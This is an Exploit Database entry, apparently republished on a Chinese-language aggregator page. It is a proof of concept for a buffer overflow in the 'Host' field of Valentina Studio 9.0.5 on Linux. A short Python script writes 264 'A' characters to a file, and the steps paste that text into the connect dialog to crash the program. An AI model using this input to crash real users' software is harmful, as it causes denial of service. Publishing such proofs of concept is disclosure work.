Valentina Studio 9.0.5 Linux – ‘Host’ Buffer Overflow (PoC)

• Exploit Database
• 91 阅读

• 作者： Alejandra Sánchez
  日期： 2019-02-21
• 类别：

  • dos
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/46439/

• # -*- coding: utf-8 -*-
  # Exploit Title: Valentina Studio 9.0.5 Linux - 'Host' Buffer Overflow (PoC)
  # Date: 20/02/2019
  # Author: Alejandra Sánchez
  # Vendor Homepage: https://valentina-db.com/en/
  # Software Link: https://www.valentina-db.com/en/all-downloads/vstudio/current/vstudio_x64_lin-deb?format=raw
  # Version: 9.0.5
  # Tested on: Linux kali amd64
  
  # Proof of Concept:
  # 1.- Run the python script "vstudio.py", it will create a new file "vstudio.txt"
  # 2.- Copy the text from the generated vstudio.txt file to clipboard
  # 3.- Open VStudio
  # 4.- Go to File > Connect to...
  # 5.- Click on Valentina Server or SQLite Server
  # 6.- Paste clipboard in 'Host' field
  # 7.- Click on button -> Connect
  # 8.- Crashed
  
  buffer = "\x41" * 264
  f = open ("vstudio.txt", "w")
  f.write(buffer)
  f.close()
  

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